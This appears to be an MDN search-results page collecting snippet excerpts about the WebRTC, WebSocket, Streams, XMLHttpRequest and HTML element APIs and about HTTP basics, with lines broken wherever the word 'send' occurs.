...ed with the stream's receiver. this id is stable across multiple calls to getstats(). remoteid a string which identifies the rtcremoteoutboundrtpstreamstats object that provides statistics for the remote peer for this same ssrc. this id is stable across multiple calls to getstats(). slicount an integer indicating the number of times the receiver sent a slice loss indication (sli) frame to the
sender to tell it that one or more consecutive (in terms of scan order) video macroblocks have been lost or corrupted. available only for video streams. trackid a string which identifies the statistics object representing the receiving track; this object is one of two types: rtcreceiveraudiotrackattachmentstats or rtcreceivervideotrackattachmentstats. this id is stable across multiple calls to getst...
RTCOutboundRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcoutboundrtpstreamstats dictionary states the number of times the remote peer's rtcrtpreceiver sent a picture loss indication (pli) packet to the rtcrtp
sender for which this object provides statistics. a pli packet indicates that some amount of encoded video data has been lost for one or more frames. syntax var plicount = rtcoutboundrtpstreamstats.plicount; value an integer value indicating the number of times a pli packet was sent to this
sender by the remote peer's rtcrtpreceiver. ...
...tcrtp
sender for which this object provides statistics. a pli packet indicates that some amount of encoded video data has been lost for one or more frames. syntax var plicount = rtcoutboundrtpstreamstats.plicount; value an integer value indicating the number of times a pli packet was sent to this
sender by the remote peer's rtcrtpreceiver. these are sent by the receiver's decoder to notify the
sender's encoder that an undefined amount of coded video data, which may span frame boundaries, has been lost. note: this property is only used for video streams. usage notes upon receiving a pli packet, the
sender may have responded by
sending a full frame to the remote peer to allow it to re-synchronize with the media. ...
...this is often achieved by methods such as increasing the compression or lowering resolution, although the mechanisms available to reduce the bit rate of the stream vary from codec to codec. ...
RTCPeerConnection.createDataChannel() - Web APIs
ne of these. resourceinuse an id was specified, but another rtcdatachannel is already using the same value. operationerror either the specified id is already in use or, if no id was specified, the webrtc layer was unable to automatically generate an id because all ids are in use. ...
...ate an id because all ids are in use. examples this example shows how to create a data channel and set up handlers for the open and message events to
send and receive messages on it (for brievity, the example assumes onnegotiationneeded is set up). ...
...de var pc = new rtcpeerconnection(options); var channel = pc.createdatachannel("chat"); channel.onopen = function(event) { channel.
send('hi you!'); } channel.onmessage = function(event) { console.log(event.data); } // answerer side var pc = new rtcpeerconnection(options); pc.ondatachannel = function(event) { var channel = event.channel; channel.onopen = function(event) { channel.
send('hi back!'); } channel.onmessage = function(event) { console.log(event.data); } } alternatively, more symmetrical out-of-band negotiation can be used, using an agreed-upon id (0 here): // both sides var pc = new rtcpeerconnection(options); var channel = pc.createdatachannel("chat", {negotiated: true, id: 0}); channel.onopen = function(event) { channel.
send('hi!'); } channel.onmessa...
RTCRtpStreamStats.nackCount - Web APIs
note: this value is only available on the receiver. ...
... note: this value is only available on the receiver. ...
... note: this value is only available on the receiver. ...
RTCRtpTransceiver.setCodecPreferences() - Web APIs
n. this lets you prevent the use of codecs you don't wish to use. return value undefined exceptions invalidaccesserror the codecs list includes one or more codecs which are not supported by the transceiver. usage notes getting a list of supported codecs you can only include in the codecs list codecs which the transceiver actually supports. that means that either the associated rtcrtp
sender or the rtcrtpreceiver needs to support every codec in the list. if any unsupported codecs are listed, the browser will throw an invalidaccesserror exception when you call this method. a good approach to setting codec preferences is to first get the list of codecs that are actually supported, then modify that list to match what you want. pass the altered list into setcodecpreferences() to speci...
...s are listed, the browser will throw an invalidaccesserror exception when you call this method. a good approach to setting codec preferences is to first get the list of codecs that are actually supported, then modify that list to match what you want. pass the altered list into setcodecpreferences() to specify your preferences. ...
...h what you want. pass the altered list into setcodecpreferences() to specify your preferences. to determine which codecs are supported by the transceiver, call the
sender's getcapabilities() and the receiver's getcapabilities() methods and get the codecs list from the results of each. the following code snippet demonstrates how to get both the list of codecs supported by the transceiver's rtcrtp
sender and rtcrtpreceiver. var avail
sendcodecs = transceiver.
sender.getcapabilities("video").codecs; var availreceivecodecs = transceiver.receiver.getcapabilities("video").codecs; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.setcodecpreferences()' in that specification. candidate reco...
RTCRtpTransceiver.stopped - Web APIs
if either or both are still at work, the result is false. usage notes this property is deprecated and will be removed in the future. ...
...if either or both are still at work, the result is false. usage notes this property is deprecated and will be removed in the future. instead, look at the value of currentdirection. its value is stopped if the transceiver has stopped. ...
...if either or both are still at work, the result is false. usage notes this property is deprecated and will be removed in the future. instead, look at the value of currentdirection. its value is stopped if the transceiver has stopped. ...
RTCStatsType - Web APIs
ate to new during an ice restart. the active candidate pair is deleted after the transport switches to another candidate pair; this change cannot be detected otherwise. certificate an rtccertificatestats object providing statistics related to a certificate being used by an rtcicetransport. codec an rtccodecstats object containing statistics about a codec currently being used by rtp streams to
send or receive data for the rtcpeerconnection. csrc an rtccontributingsourcestats object which contains statistics related to a contributing source (csrc) that contributed to an inbound rtp stream. data-channel an rtcdatachannelstats object which contains statistics about each rtcdatachannel on the connection. inbound-rtp an rtcinboundrtpstreamstats object providing statistics about inbound dat...
...ormation is about your outbound-rtp stream, but as seen by the remote device that's handling the stream. you can use this information to do things like determine how well the remote peer is receiving data. remote-outbound-rtp the report is an rtcremoteoutboundrtpstreamstats object that contains statistics about your inbound rtp (inbound-rtp) stream, but from the perspective of the remote peer.
sender an object containing statistics about the rtcrtp
sender for a stream on the rtcpeerconnection. if kind is "audio", this object is of type rtcaudio
senderstats; if kind is "video", this is an rtcvideo
senderstats object. stream an object of type rtcmediastreamstats, providing statistics and information about a mediastream which is part of the rtcpeerconnection. track the object is one of the t...
...am on the rtcpeerconnection. if kind is "audio", this object is of type rtcaudio
senderstats; if kind is "video", this is an rtcvideo
senderstats object. stream an object of type rtcmediastreamstats, providing statistics and information about a mediastream which is part of the rtcpeerconnection. track the object is one of the types based on rtcmediahandlerstats: for audio tracks, the type is rtc
senderaudiotrackattachmentstats and for video tracks, the type is rtc
sendervideotrackattachmentstats. the data within provides statistics related to a particular mediastreamtrack's attachment to an rtcrtp
sender; also included are the media level metrics that go along with the track. transport an object that contains statistics related to a transport for an rtcpeerconnection. the object is of type rt...
WebRTC connectivity - Web APIs
gnal channel or signaling service. it’s any sort of channel of communication to exchange information before setting up a connection, whether by email, post card or a carrier pigeon... it’s up to you. the information we need to exchange is the offer and answer which just contains the sdp mentioned below. peer a who will be the initiator of the connection, will create an offer. they will then
send this offer to peer b using the chosen signal channel. peer b will receive the offer from the signal channel and create an answer. they will then
send this back to peer a along the signal channel. session descriptions the configuration of an endpoint on a webrtc connection is called a session description. the description includes information about the kind of media being sent, its format, the tr...
...cks into the peer connection via rtcpeerconnection.addtrack() the recipient then creates an answer by calling rtcpeerconnection.createanswer(). the recipient calls rtcpeerconnection.setlocaldescription(), passing in the created answer, to set the answer as its local description. the recipient now knows the configuration of both ends of the connection. the recipient uses the signaling server to
send the answer to the caller. the caller receives the answer. the caller calls rtcpeerconnection.setremotedescription() to set the answer as the remote description for its end of the call. it now knows the configuration of both peers. media begins to flow as configured. pending and current descriptions taking one step deeper into the process, we find that localdescription and remotedescription, ...
...grade the connection, or to otherwise make adaptations to an ongoing session. aborting the call would be an excessive reaction in that situation. instead, you can initiate an ice rollback. a rollback restores the sdp offer (and the connection configuration by extension) to the configuration it had the last time the connection's signalingstate was stable. to programmatically initiate a rollback,
send a description whose type is rollback. any other properties in the description object are ignored. in addition, the ice agent will automatically initiate a rollback when a peer that had previously created an offer receives an offer from the remote peer. in other words, if the local peer is in the state have-local-offer, indicating that the local peer had previously sent an offer, calling setremot...
Lifetime of a WebRTC session - Web APIs
o reach them or even what their address is. this is like trying to mail a package to your friend michelle by labeling it “michelle” and dropping it in a mailbox when you don't know her address. you need to look up her address and include it on the package, or she'll wind up wondering why you forgot her birthday again. this is where signaling comes in. signaling signaling is the process of
sending control information between two devices to determine the communication protocols, channels, media codecs and formats, and method of data transfer, as well as any required routing information. the most important thing to know about the signaling process for webrtc: it is not defined in the specification. why, you may wonder, is something fundamental to the process of establishing a webrtc conn...
...r connecting two devices, it doesn’t make sense for them to have to use another one, defined by the specification, just for webrtc. since webrtc doesn’t live in a vacuum, there is likely other connectivity in play, so it makes sense to avoid having to add additional connection channels for signaling if an existing one can be used. in order to exchange signaling information, you can choose to
send json objects back and forth over a websocket connection, or you could use xmpp or sip over an appropriate channel, or you could use xmlhttprequest over https with polling, or any other combination of technologies you can come up with. you could even use email as the signaling channel. it’s also worth noting that the channel for performing signaling doesn’t even need to be over the network. o...
...ng data can be transferred through it. the server doesn't need to react to this information in any way. the signaling process there's a sequence of things that have to happen in order to make it possible to begin a webrtc session: each peer creates an rtcpeerconnection object representing their end of the webrtc session. each peer establishes a handler for icecandidate events, which handles
sending those candidates to the other peer over the signaling channel. each peer establishes a handler for track event, which is received when the remote peer adds a track to the stream. this code should connect the tracks to its consumer, such as a <video> element. the caller creates and shares with the receiving peer a unique identifier or token of some kind so that the call between them can be id...
WebSocket - Web APIs
to construct a websocket, use the websocket() constructor. constructor websocket(url[, protocols]) returns a newly created websocket object. constants constant value websocket.connecting 0 websocket.open 1 websocket.closing 2 websocket.closed 3 properties websocket.binarytype the binary data type used by the connection. websocket.bufferedamount read only the number of bytes of queued data. ...
...e is received from the server. websocket.onopen an event listener to be called when the connection is opened. websocket.protocol read only the sub-protocol selected by the server. websocket.readystate read only the current state of the connection. websocket.url read only the absolute url of the websocket. methods websocket.close([code[, reason]]) closes the connection. websocket.
send(data) enqueues data to be transmitted. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. close fired when a connection with a websocket is closed. also available via the onclose property error fired when a connection with a websocket has been closed because of an error, such as when some data couldn't...
...error property. message fired when data is received through a websocket. also available via the onmessage property. open fired when a connection with a websocket is opened. also available via the onopen property. examples // create websocket connection. const socket = new websocket('ws://localhost:8080'); // connection opened socket.addeventlistener('open', function (event) { socket.
send('hello server!'); }); // listen for messages socket.addeventlistener('message', function (event) { console.log('message from server ', event.data); }); specifications specification status html living standardthe definition of 'websocket' in that specification. living standard ...
Writing a WebSocket server in Java - Web APIs
ay starting at offset off to this output stream. inputstream methods: read(byte[] b, int off, int len) reads up to len bytes of data from the input stream into an array of bytes. let us extend our example. inputstream in = client.getinputstream(); outputstream out = client.getoutputstream(); scanner s = new scanner(in, "utf-8"); handshaking when a client connects to a server, it
sends a get request to upgrade the connection to a websocket from a simple http request. this is known as handshaking. try { string data = s.usedelimiter("\\r\\n\\r\\n").next(); matcher get = pattern.compile("^get").matcher(data); creating the response is easier than understanding why you must do it in this way. you must, obtain the value of sec-websocket-key request header without an...
... opco...
...+ "sec-websocket-accept: " + base64.getencoder().encodetostring(messagedigest.getinstance("sha-1").digest((match.group(1) + "258eafa5-e914-47da-95ca-c5ab0dc85b11").getbytes("utf-8"))) + "\r\n\r\n").getbytes("utf-8"); out.write(response, 0, response.length); decoding messages after a successful handshake, client can
send messages to the server, but now these are encoded. if we
send "abcdef", we get these bytes: 129 134 167 225 225 210 198 131 130 182 194 135 - 129: fin (is this the whole message?) rsv1 rsv2 rsv3 opcode 1 0 0 0 0x1=0001 fin: you can
send your message in frames, but now keep things simple. opcode 0x1 means this is a text. full list of opcodes - 134: if t...
WritableStream.WritableStream() - Web APIs
ue. if no queuingstrategy is supplied, the default used is the same as a countqueuingstrategy with a high water mark of 1. return value an instance of the writablestream object. examples the following example illustrates several features of this interface. it shows the creation of the writablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called
sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.qu...
...created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
... backpressure because of how backpressure is supported in the api, its implementation in code may be less than obvious. to see how backpressure is implemented look for three things. the highwatermark property, which is set when creating the counting strategy (line 35), sets the maximum amount of...
WritableStream.getWriter() - Web APIs
); parameters none. return value a writablestreamdefaultwriter object instance. exceptions typeerror the stream you are trying to create a writer for is not a writablestream. examples the following example illustrates several features of this interface. it shows the creation of the writablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called
sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.qu...
...created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
... specifications specification status comment streamsthe definition of 'getwriter()' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter.WritableStreamDefaultWriter() - Web APIs
stream the writablestream to be written to. return value an instance of the writablestreamdefaultwriter object. exceptions typeerror the provided stream value is not a writablestream, or it is locked to another writer already. examples the following example shows the creation of a writablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called
sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.qu...
...created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
... specifications specification status comment streamsthe definition of 'writablestreamdefaultwriter()' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter.close() - Web APIs
undefined if all remaining chunks were successfully written before the close, or rejects with an error if a problem was encountered during the process. exceptions typeerror the stream you are trying to close is not a writablestream. examples the following example shows the creation of a writablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called
sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.qu...
...created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
... specifications specification status comment streamsthe definition of 'close()' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter.ready - Web APIs
the desired size of the stream's internal queue transitions from non-positive to positive, signaling that it is no longer applying backpressure. syntax var promise = writablestreamdefaultwriter.ready; value a promise. example the following example shows two uses of the ready property. ...
...writer.ready; value a promise. example the following example shows two uses of the ready property. the first uses ready to ensure that the writablestream is done writing and thus able to receive data before
sending a binary chunk. the second also checks whether the the writablestream is done writing, but this time because the writing must be finished before the writer can be closed. function
sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter var defaultwriter = writablestream.getwriter(); var encoder = new textencoder(); var encoded = encoder.encode(message, {stream: true}); encoded.foreach(function(chunk) { // make sure the stream and its writer are able to // receive data. defaultwriter.ready .then(function() { ...
... }); }); }); } specifications specification status comment streamsthe definition of 'ready' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetready experimentalchrome full support 59edge full support 16firefox no support noie ...
WritableStreamDefaultWriter.write() - Web APIs
h the undefined upon a successful write, or rejects if the write fails or stream becomes errored before the writing process is initiated. exceptions typeerror the target stream is not a writable stream, or it does not have an owner. examples the following example shows the creation of a writablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called
sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.qu...
...created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
... specifications specification status comment streamsthe definition of 'write()' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter - Web APIs
ter will appear closed. writablestreamdefaultwriter.write() writes a passed chunk of data to a writablestream and its underlying sink, then returns a promise that resolves to indicate the success or failure of the write operation. examples the following example shows the creation of a writablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called
sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = documen...
...ed stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
... specifications specification status comment streamsthe definition of 'writablestreamdefaultwriter' in that specification. living standard initial definition. ...
XDomainRequest - Web APIs
xdomainrequest is an implementation of http access control (cors) that worked in internet explorer 8 and 9. it was removed in internet explorer 10 in favor of using xmlhttprequest with proper cors; if you are targeting internet explorer 10 or later, or wish to support any other browser, you need to use standard http access control. this interface can
send both get and post requests. syntax var xdr = new xdomainrequest(); returns a new xdomainrequest object, which can then be used to make and manage these requests. properties xdomainrequest.timeout gets or sets the amount of time until a request times out. xdomainrequest.responsetext gets the response body as a string. methods xdomainrequest.open() opens the request, specifing the method (get/post) and url. xdomain...
...xdr = new xdomainrequest(); returns a new xdomainrequest object, which can then be used to make and manage these requests. properties xdomainrequest.timeout gets or sets the amount of time until a request times out. xdomainrequest.responsetext gets the response body as a string. methods xdomainrequest.open() opens the request, specifing the method (get/post) and url. xdomainrequest.
send()
sends the request. post data is specified in this method. xdomainrequest.abort() aborts the request. event handlers xdomainrequest.onprogress a handler for when the request has made progress between the
send method call and the onload event. xdomainrequest.ontimeout a handler for when the request times out. xdomainrequest.onerror a handler for when a request has errored. xdomainre...
...e server. example if(window.xdomainrequest){ var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); xdr.onprogress = function () { //progress }; xdr.ontimeout = function () { //timeout }; xdr.onerror = function () { //error occurred }; xdr.onload = function() { //success(xdr.responsetext); } settimeout(function () { xdr.
send(); }, 0); } note: the xdr.
send() call is wrapped in a timeout (see window.settimeout() to prevent an issue with the interface where some requests are lost if multiple xdomainrequests are being sent at the same time. note: the xdr.onprogress event should always be defined, even as an empty function, or xdomainrequest may not fire onload for duplicate requests. security the xdomainrequest...
HTML in XMLHttpRequest - Web APIs
often have a text/html response body). usage retrieving an html resource as a dom using xmlhttprequest works just like retrieving an xml resource as a dom using xmlhttprequest, except you can't use the synchronous mode and you have to explicitly request a document by assigning the string "document" to the responsetype property of the xmlhttprequest object after calling open() but before calling
send(). var xhr = new xmlhttprequest(); xhr.onload = function() { console.log(this.responsexml.title); } xhr.open("get", "file.html"); xhr.responsetype = "document"; xhr.
send(); feature detection method 1 this method relies on the "force async" nature of the feature. when you try to set responsetype of an xmlhttprequest object after it is opened as "sync". this throws an error in the browsers t...
... view on jsfiddle character encoding if the character e...
...use it only when it is really necessary. specifications specification status comment xmlhttprequest living standard initial definition ...
XMLHttpRequest.readyState - Web APIs
the xmlhttprequest.readystate property returns the state an xmlhttprequest client is in. an xhr client exists in one of the following states: value state description 0 unsent client has been created. open() not called yet. 1 opened open() has been called. 2 headers_received
send() has been called, and headers and status are available. ...
...and headers and status are available. 3 loading downloading; responsetext holds partial data. 4 done the operation is complete. unsent the xmlhttprequest client has been created, but the open() method hasn't been called yet. opened open() method has been invoked. during this state, the request headers can be set using the setrequestheader() method and the
send() method can be called which will initiate the fetch. headers_received
send() has been called and the response headers have been received. loading response's body is being received. if responsetype is "text" or empty string, responsetext will have the partial text response as it loads. done the fetch operation is complete. this could mean that either the data transfer has been completed suc...
...mple var xhr = new xmlhttprequest(); console.log('unsent', xhr.readystate); // readystate will be 0 xhr.open('get', '/api', true); console.log('opened', xhr.readystate); // readystate will be 1 xhr.onprogress = function () { console.log('loading', xhr.readystate); // readystate will be 3 }; xhr.onload = function () { console.log('done', xhr.readystate); // readystate will be 4 }; xhr.
send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest - Web APIs
string, or null if no response has been received. xmlhttprequest.getresponseheader() returns the string containing the text of the specified header, or null if either the response has not yet been received or the header doesn't exist in the response. xmlhttprequest.open() initializes a request. xmlhttprequest.overridemimetype() overrides the mime type returned by the server. xmlhttprequest.
send()
sends the request. if the request is asynchronous (which is the default), this method returns as soon as the request is sent. xmlhttprequest.setrequestheader() sets the value of an http request header. you must call setrequestheader()after open(), but before
send(). non-standard methods xmlhttprequest.init() initializes the object for use from c++ code. warning: this method must not b...
... events abort fired when a request has been aborted, for example because the program called xmlhttprequest.abort(). also available via the onabort property. error fired when the request encountered an error. also available via the onerror property. ...
...on-standard methods xmlhttprequest.init() initializes the object for use from c++ code. warning: this method must not be called from javascript. xmlhttprequest.openrequest() initializes a request. this method is to be used from native code; to initialize a request from javascript code, use open() instead. see the documentation for open(). xmlhttprequest.
sendasbinary() a variant of the
send() method that
sends binary data. events abort fired when a request has been aborted, for example because the program called xmlhttprequest.abort(). also available via the onabort property. error fired when the request encountered an error. also available via the onerror property. load fired when an xmlhttprequest transaction completes successfully. also available via the onload prope...
<form> - HTML: Hypertext Markup Language
the html <form> element represents a document section containing interactive controls for submitting information. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. it is possible to use the :valid and :invalid css pseudo-classes to style a <form> element based on whether or not the elements inside the form are valid. content categories flow content, palpable content permitted content flow content, but not containing <form> elements tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content implici...
...rrent one. if no parent, behaves the same as _self. _top: load into the top-level browsing context (i.e., the browsing context that is an ancestor of the current one and has no parent). if no parent, behaves the same as _self. this value can be overridden by a formtarget attribute on a <button>, <input type="submit">, or <input type="image"> element. ...
...nt). if no parent, behaves the same as _self. this value can be overridden by a formtarget attribute on a <button>, <input type="submit">, or <input type="image"> element. ...
<img>: The Image Embed element - HTML: Hypertext Markup Language
the above example shows usage of the <img> element: the src attribute is required, and contains the path to the image you want to embed. ...
...ors request is sent (without the origin request header), and the browser marks the image as tainted and restricts access to its image data, preventing its usage in <canvas> elements. if the crossorigin attribute is specified, then a cors request is sent (with the origin request header); but if the server does not opt into allowing cross-origin access to the image data by the origin site (by not
sending any access-control-allow-origin response header, or by not including the site's origin in any access-control-allow-origin response header it does
send), then the browser marks the image as tainted and restricts access to its image data, preventing its usage in <canvas> elements. allowed values: anonymous a cors request is sent with credentials omitted (that is, no cookies, x.509 ...
...ents. allowed values: anonymous a cors request is sent with credentials omitted (that is, no cookies, x.509 certificates, or authorization request header). use-credentials the cors request is sent with any credentials included (that is, cookies, x.509 certificates, and the authorization request header). if the server does not opt into sharing credentials with the origin site (by
sending back the access-control-allow-credentials: true response header), then the browser marks the image as tainted and restricts access to its image data. if the attribute has an invalid value, browsers handle it as if the anonymous value was used. see cors settings attributes for additional information. decoding provides an image decoding hint to the browser. allowed values: sync...
<input type="image"> - HTML: Hypertext Markup Language
value none — the value attribute should not be specified. ...
...submit the data. this takes precedence over the action attribute on the <form> element that owns the <input>. this attribute is also available on <input type="submit"> and <button> elements. formenctype a string that identifies the encoding method to use when submitting the form data to the server. there are three permitted values: application/x-www-form-urlencoded this, the default value,
sends the form data as a string after url encoding the text using an algorithm such as encodeuri(). multipart/form-data uses the formdata api to manage the data, allowing for files to be submitted to the server. you must use this encoding type if your form includes any <input> elements of type file (<input type="file">). text/plain plain text; mostly useful only for debugging, so you can easily se...
...d coordinates would be formatted in the url as ?position.x=52&position.y=55. this, of course, applies to all other attributes as well. these are the x and y coordinates of the image that the mouse clicked on to submit the form, where (0,0) is the top-left of the image. these can be used when the position the image was clicked on is significant, for example you might have a map that when clicked,
sends the coordinates that were clicked to the server. the server-side code then works out what location was clicked on, and returns information about places nearby. in our above example, we could write server-side code that works out what color was clicked on by the coordinates submitted, and keeps a tally of the favorite colors people voted for. adjusting the image's position and scaling algorithm...
<script>: The Script element - HTML: Hypertext Markup Language
rowsers that do not support modular javascript code. nonce a cryptographic nonce (number used once) to whitelist scripts in a script-src content-security-policy. the server must generate a unique nonce value each time it transmits a policy. it is critical to provide a nonce that cannot be guessed as bypassing a resource's policy is otherwise trivial. referrerpolicy indicates which referrer to
send when fetching the script, or resources fetched by the script: no-referrer: the referer header will not be sent. no-referrer-when-downgrade (default): the referer header will not be sent to origins without tls (https). origin: the sent referrer will be limited to the origin of the referring page: its scheme, host, and port. origin-when-cross-origin: the referrer sent to other origins wil...
...ill be limited to the origin of the referring page: its scheme, host, and port. origin-when-cross-origin: the referrer sent to other origins will be limited to the scheme, the host, and the port. navigations on the same origin will still include the path. same-origin: a referrer will be sent for same origin, but cross-origin requests will contain no referrer information. ...
... other origins will be limited to the scheme, the host, and the port. navigations on the same origin will still include the path. same-origin: a referrer will be sent for same origin, but cross-origin requests will contain no referrer information. strict-origin: only
send the origin of the document as the referrer when the protocol security level stays the same (e.g. https→https), but don't
send it to a less secure destination (e.g. https→http). strict-origin-when-cross-origin:
send a full url when performing a same-origin request, but only
send the origin when the protocol security level stays the same (e.g.https→https), and
send no header to a less secure destination (e.g. https→http). unsafe-url: the referrer will include the origin and the path (but not the fragment, passwo...
Using the application cache - HTML: Hypertext Markup Language
anifest attribute, if no application cache exists, the browser loads the document and then fetches all the entries listed in the manifest file, creating the first version of the application cache. subsequent visits to that document cause the browser to load the document and other assets specified in the manifest file from the application cache (not from the server). in addition, the browser also
sends a checking event to the window.applicationcache object, and fetches the manifest file, following the appropriate http caching rules. if the currently-cached copy of the manifest is up-to-date, the browser
sends a noupdate event to the applicationcache object, and the update process is complete. note that if you change any cached resources on the server, you must also change the manifest file it...
...ust also change the manifest file itself, so that the browser knows it needs to fetch all the resources again. if the manifest file has changed, all the files listed in the manifest—as well as those added to the cache by calling applicationcache.add()—are fetched into a temporary cache, following the appropriate http caching rules. for each file fetched into this temporary cache, the browser
sends a progress event to the applicationcache object. if any errors occur, the browser
sends an error event, and the update halts. once all the files have been successfully retrieved, they are moved into the real offline cache automatically, and a cached event is sent to the applicationcache object. since the document has already been loaded into the browser from the cache, the updated document will...
...ata -> clear now cleared the offline cache. this has been fixed. on linux, you can find the setting at edit > preferences > advanced > network > offline web content and user data see also clearing the dom storage data. application caches can also become obsolete. if an application's manifest file is removed from the server, the browser removes all application caches that use that manifest, and
sends an "obsoleted" event to the applicationcache object. this sets the application cache's state to obsolete. the cache manifest file referencing a cache manifest file the manifest attribute in a web application can specify either the relative path of a cache manifest file or an absolute url. (absolute urls must be from the same origin as the application). a cache manifest file can have any file ...
Evolution of HTTP - HTTP
cessary once connected to the server). get /mypage.html the response is extremely simple too: it only consisted of the file itself. <html> a very simple html page </html> unlike subsequent evolutions, there were no http headers, meaning that only html files could be transmitted, but no other type of documents. there were no status or error codes: in case of a problem, a specific html file was
send back with the description of the problem contained in it, for human consumption. http/1.0 – building extensibility http/0.9 was very limited and both browsers and servers quickly extended it to be more versatile: versioning information is now sent within each request (http/1.0 is appended to the get line) a status code line is also sent at the beginning of the response, allowing the brows...
...zation was in progress. the first standardized version of http, http/1.1 was published in early 1997, only a few months after http/1.0. http/1.1 clarified ambiguities and introduced numerous improvements: a connection can be reused, saving the time to reopen it numerous times to display the resources embedded into the single original document retrieved. pipelining has been added, allowing to
send a second request before the answer for the first one is fully transmitted, lowering the latency of the communication. chunked responses are now also supported. additional cache control mechanisms have been introduced. content negotiation, including language, encoding, or type, has been introduced, and allows a client and a server to agree on the most adequate content to exchange. thanks to th...
...ds is easy – and even if the http/1.1 protocol was refined over two revisions, rfc 2616 published in june 1999 and the series of rfc 7230-rfc 7235 published in june 2014 in prevision of the release of http/2, this protocol has been extremely stable over more than 15 years. using http for secure transmissions the largest change that happened to http was done as early as end of 1994. instead of
sending http over a basic tcp/ip stack, netscape communications created an additional encrypted transmission layer on top of it: ssl. ssl 1.0 was never released outside the company, but ssl 2.0 and its successor ssl 3.0 allowed for the creation of e-commerce web sites by encrypting and guaranteeing the authenticity of the messages exchanged between the server and client. ssl was put on the standards t...
Compression in HTTP - HTTP
ion algorithm to use. these algorithm are optimized for text. in the 1990s, compression technology was advancing at a rapid pace and numerous successive algorithms have been added to the set of possible choices. nowadays, only two are relevant: gzip, the most common one, and br the new challenger. to select the algorithm to use, browsers and servers use proactive content negotiation. ...
...vers use proactive content negotiation. the browser
sends an accept-encoding header with the algorithm it supports and its order of precedence, the server picks one, uses it to compress the body of the response and uses the content-encoding header to tell the browser the algorithm it has chosen. as content negotiation has been used to choose a representation based on its encoding, the server must
send a vary header containing at least accept-encoding alongside this header in the response; that way, caches will be able to cache the different representations of the resource. as compression brings significant performance improvements, it is recommended to activate it for all files, but already compressed ones like images, audio files and videos. apache supports compression and uses mod_deflat...
...r to the content negotiation for end-to-end compression: the node transmitting the request advertizes its will using the te header and the other node chooses the adequate method, applies it, and indicates its choice with the transfer-encoding header. in practice, hop-by-hop compression is transparent for the server and the client, and is rarely used. te and transfer-encoding are mostly used to
send a response by chunks, allowing to start transmitting a resource without knowing its length. note that using transfer-encoding and compression at the hop level is so rare that most servers, like apache, nginx, or iis, have no easy way to configure it. such configuration usually happens at the proxy level. ...
Using Feature Policy - HTTP
provides two ways to specify policies to control features: the feature-policy http header. the allow attribute on <iframe>s. the primary difference between the http header and the allow attribute is that the allow attribute only controls features within an iframe. the header controls features in the response and any embedded content within the page. the feature-policy http header you can
